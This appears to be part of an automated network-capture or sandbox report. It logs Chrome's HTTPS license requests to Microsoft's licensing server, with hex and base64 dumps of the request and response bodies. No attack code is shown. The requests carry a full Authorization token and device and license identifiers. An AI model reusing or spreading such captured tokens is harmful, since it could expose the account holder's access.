HVyZVZhbHVlPjxLZXlJbmZvIElkPSJfMGY4MWIyNGYtYmM0MC0yNzEyLTBkNWQtZTdjMTAwODVjMzMwIj48S2V5VmF
sdWU+PFJTQUtleVZhbHVlPjxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

156 192.168.2.5 49923 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:35 UTC 2588 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.39
Content-Length: 4309
Host: licensing.mp.microsoft.com

2022-07-01 09:01:35 UTC 2589 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:35 UTC 2594 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:35 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8255
MS-CorrelationId: 33668c76-3c56-484f-8a3d-d2c607a5f560
MS-RequestId: 80dc1b3a-66ca-4d8b-bc66-811e60726871
MS-CV: UznHpAHqV0GMBdER.39.1530940724.2991588605.0
X-Content-Type-Options: nosniff
MS-ServerId: 4

2022-07-01 09:01:35 UTC 2594 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 37 65 30 33 64 62 39 36 2d 31 34 30 35 2d 64 
31 66 30 2d 63 66 30 62 2d 66 64 32 38 30 66 66 63 39 66 38 30 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"7e03db96-1405-d1f0-cf0b-fd280ffc9f80"},"value":"P
ExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHR
wOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:35 UTC 2595 IN Data Raw: 6a 4d 31 4c 6a 67 79 4e 7a 63 79 4f 54 64 61 50 43 39 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 
5a 54 34 38 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 49 77 4d 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 6b 36 4d 44 45 
36 4d 7a 55 75 4f 44 49 33 4e 7a 49 34 4d 56 6f 38 4c 30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 5
6 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 4d 7a 41 39 50 
43 39 44 64 58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 
59 32 73 2b 52 6b 46 42 51 55 46 4f 53 55 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 51 55 46 42 51 56 56 42 51 56 46 
45 64 33 51 33 4e 57 6c 44 64 30 68 4d 51 55 46 42 51 55 56 42 51 55 46 42 
Data Ascii: jM1LjgyNzcyOTdaPC9MYXN0VXBkYXRlRGF0ZT48QmVnaW5EYXRlPjIwMjItMDctMDFUMDk6MDE6MzU
uODI3NzI4MVo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2xpY2llcz5lMzA9PC9DdXN0b21Qb2xpY
2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUFOSUFBQURKQUFBQUNnQUFBQVVBQVFEd3Q3NWlDd0hMQUFBQ
UVBQUFB

2022-07-01 09:01:35 UTC 2596 IN Data Raw: 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 
50 53 49 69 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 
6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 4
1 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 
48 56 79 5a 53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 
64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 
75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 
Data Ascii: 2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3J
pdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyY
W5zZm9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5j

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:35 UTC 2597 IN Data Raw: 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 
32 52 44 4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 
4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 
69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 7
0 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 
30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 
5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 
Data Ascii: 2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZ
zU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMye
WkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9N

2022-07-01 09:01:35 UTC 2598 IN Data Raw: 30 51 30 51 7a 41 33 4e 44 41 78 4f 44 41 77 50 43 39 45 5a 58 5a 70 59 32 56 4a 52 44 34 38 51 58 4e 7a 
62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 4c 6c 64 70 62 6d 52 76 64 33 4d 
75 4e 44 67 75 57 44 45 35 4c 54 6b 35 4e 54 41 30 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 
46 7a 63 32 39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 
58 4a 70 62 32 51 2b 4d 54 41 77 4f 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 42 6c 63 6d 6c 76 
5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 46 52 35 63 47 55 
39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 4e 6c 56 58 4e 68 
Data Ascii: 0Q0QzA3NDAxODAwPC9EZXZpY2VJRD48QXNzb2NpYXRlZFBGTnM+TWljcm9zb2Z0LldpbmRvd3MuNDg
uWDE5LTk5NTA0Xzh3ZWt5YjNkOGJid2U8L0Fzc29jaWF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q
+MTAwODA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlb
nNlVXNh

2022-07-01 09:01:35 UTC 2599 IN Data Raw: 46 6c 36 56 54 56 50 56 30 5a 72 54 6d 31 4f 61 56 6c 71 55 6d 31 5a 56 30 70 6f 54 30 64 4e 4d 55 35 48 52 
6d 68 4f 56 45 35 70 54 58 70 73 62 45 35 45 52 54 52 4b 62 54 46 6f 59 32 31 30 62 47 52 45 4d 56 5a 56 65 56 70 33 
59 6a 4a 34 63 46 6b 7a 62 46 56 6c 57 45 4a 73 55 46 56 53 62 47 52 74 62 47 70 61 55 30 6c 7a 53 57 31 30 62 47 56 
56 62 47 74 6a 65 55 6b 32 56 33 6c 4a 4d 31 70 55 51 58 70 61 52 30 6b 31 54 6d 6b 77 65 45 35 45 51 54 46 4d 56 31 
46 34 57 6d 70 42 64 46 6b 79 57 58 64 5a 61 54 46 74 57 6b 52 4a 4e 45 31 48 57 6d 31 5a 65 6d 78 74 54 30 52 42 61 
56 68 54 64 32 6c 68 4d 6d 78 31 57 6b 4e 4a 4e 6b 6c 72 54 6e 5a 69 62 6c 4a 73 59 6d 35 52 61 55 78 44 53 6e 64 5a 
56 30 35 79 57 56 64 6b 62 47 4e 35 53 54 5a 58 4d 33 4e 70 59 30 64 47 
Data Ascii: Fl6VTVPV0ZrTm1OaVlqUm1ZV0poT0dNMU5HRmhOVE5pTXpsbE5ERTRKbTFoY210bGREMVZVeVp3YjJ
4cFkzbFVlWEJsUFVSbGRtbGpaU0lzSW10bGVVbGtjeUk2V3lJM1pUQXpaR0k1TmkweE5EQTFMV1F4Wmp
BdFkyWXdZaTFtWkRJNE1HWm1ZemxtT0RBaVhTd2lhMmx1WkNJNklrTnZiblJsYm5RaUxDSndZV05yWVd
kbGN5STZXM3NpY0dG

2022-07-01 09:01:35 UTC 2600 IN Data Raw: 6b 59 78 53 6b 31 61 53 45 46 6c 4d 30 39 6c 51 55 70 74 5a 33 6b 33 4c 7a 64 48 64 32 52 36 4c 31 52 42 
51 55 46 42 51 6b 46 42 51 55 46 49 52 48 6c 34 4d 6b 78 4e 51 55 46 42 51 56 4a 42 51 55 46 42 51 55 56 42 51 57 64 
42 55 47 4a 47 51 6e 4a 72 53 32 34 79 5a 6e 52 52 4d 7a 4a 51 57 57 70 4a 52 69 74 72 61 6b 30 79 65 44 52 57 5a 45 
49 7a 4e 58 5a 34 4c 30 6b 76 53 58 52 42 53 48 68 53 54 57 68 42 4d 53 74 59 62 45 52 76 61 58 4e 42 65 6d 51 77 4d 
30 52 7a 59 6c 46 4b 53 47 4d 35 64 6c 70 6b 62 45 35 34 5a 6c 6c 70 62 6e 67 7a 4d 46 68 6c 55 6d 68 30 64 44 77 76 
55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 53 42 34 62 57 78 
75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 
Data Ascii: kYxSk1aSEFlM09lQUptZ3k3LzdHd2R6L1RBQUFBQkFBQUFIRHl4MkxNQUFBQVJBQUFBQUVBQWdBUGJ
GQnJrS24yZnRRMzJQWWpJRitrak0yeDRWZEIzNXZ4L0kvSXRBSHhSTWhBMStYbERvaXNBemQwM0RzYlF
KSGM5dlpkbE54ZllpbngzMFhlUmh0dDwvU1BMaWNlbnNlQmxvY2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3d
y53My5v

2022-07-01 09:01:35 UTC 2601 IN Data Raw: 46 4a 6d 63 56 5a 61 5a 6a 52 7a 53 6c 5a 54 54 30 52 44 53 46 52 78 4d 6d 70 6a 52 57 52 47 65 6b 6c 50 
52 6e 68 31 64 56 6c 50 5a 48 6c 43 53 6d 4a 30 64 45 30 7a 55 45 70 43 61 33 55 34 53 32 31 34 61 31 56 44 4d 44 42 
6f 5a 44 52 43 64 46 56 4a 4f 56 46 4f 4f 46 42 52 61 32 30 32 55 46 52 69 65 46 6f 78 55 58 4a 6d 4d 46 52 6a 53 45 31 
45 54 46 59 31 4e 45 68 33 5a 32 5a 42 56 31 68 7a 51 6a 4a 44 5a 57 5a 77 51 56 42 4e 4c 31 42 55 4d 30 4a 73 4e 6d 
6c 54 4e 58 5a 51 4c 33 46 4a 65 6a 4e 52 56 7a 56 4b 61 6e 49 35 61 6b 30 33 56 47 59 35 4e 47 63 77 4e 7a 68 6b 4d 
6b 56 79 64 58 68 5a 54 32 70 53 4d 6a 5a 36 53 45 67 77 53 57 56 45 55 31 46 36 56 69 39 4e 53 6a 68 36 53 55 56 32 
4f 46 4e 36 52 48 4d 30 61 58 49 33 52 30 4e 74 4d 58 5a 78 57 54 6b 33 
Data Ascii: FJmcVZaZjRzSlZTT0RDSFRxMmpjRWRGeklPRnh1dVlPZHlCSmJ0dE0zUEpCa3U4S214a1VDMDBoZDR
CdFVJOVFOOFBRa202UFRieFoxUXJmMFRjSE1ETFY1NEh3Z2ZBV1hzQjJDZWZwQVBNL1BUM0JsNmlTNXZ
QL3FJejNRVzVKanI5ak03VGY5NGcwNzhkMkVydXhZT2pSMjZ6SEgwSWVEU1F6Vi9NSjh6SUV2OFN6RHM
0aXI3R0NtMXZxWTk3

2022-07-01 09:01:35 UTC 2602 IN Data Raw: 57 55 2b 50 43 39 4c 5a 58 6c 4a 62 6d 5a 76 50 6a 77 76 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 50 6a 77 76 
54 47 6c 6a 5a 57 35 7a 5a 54 34 3d 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: WU+PC9LZXlJbmZvPjwvU2lnbmF0dXJlPjwvTGljZW5zZT4="}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

157 192.168.2.5 49924 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:36 UTC 2602 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.40
Content-Length: 4497
Host: licensing.mp.microsoft.com

2022-07-01 09:01:36 UTC 2604 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:36 UTC 2608 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:35 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8225
MS-CorrelationId: f1cdc6fb-0a2a-4718-b584-4a7e0d79b308
MS-RequestId: 9def363a-8829-4c66-9c01-7684e8760b70
MS-CV: UznHpAHqV0GMBdER.40.1530940771.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-86smn

2022-07-01 09:01:36 UTC 2609 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 65 38 61 63 39 33 38 38 2d 37 63 39 63 2d 31 
39 63 63 2d 66 64 34 64 2d 63 62 37 32 62 62 31 35 34 34 65 61 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"e8ac9388-7c9c-19cc-fd4d-cb72bb1544ea"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:36 UTC 2610 IN Data Raw: 44 63 74 4d 44 46 55 4d 44 41 36 4d 6a 67 36 4d 6a 63 75 4e 6a 6b 30 4f 54 4d 78 4e 46 6f 38 4c 30 4a 6c 5a 
32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 62 32 31 51 
62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 4f 4d 46 4e 
58 55 57 6c 50 61 55 70 74 54 6d 70 4e 4d 46 6c 36 59 33 70 4e 65 54 42 33 54 31 52 42 4d 6b 78 55 55 6d 78 5a 65 6b 
31 30 54 31 64 4a 4d 6b 35 35 4d 44 42 4e 65 6d 78 70 54 30 52 4e 64 31 70 55 51 54 42 61 52 46 6c 70 5a 6c 45 39 50 
54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 
62 32 4e 72 50 6b 5a 42 51 55 46 42 54 48 64 42 51 55 46 45 53 6b 46 42 
Data Ascii: DctMDFUMDA6Mjg6MjcuNjk0OTMxNFo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21Qb2x
pY2llcz5leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUptTmpNMFl6Y3pNeTB3T1RBMkxUUmxZek10T1dJMk55MDBNe
mxpT0RNd1pUQTBaRFlpZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTHdBQUFESkFB

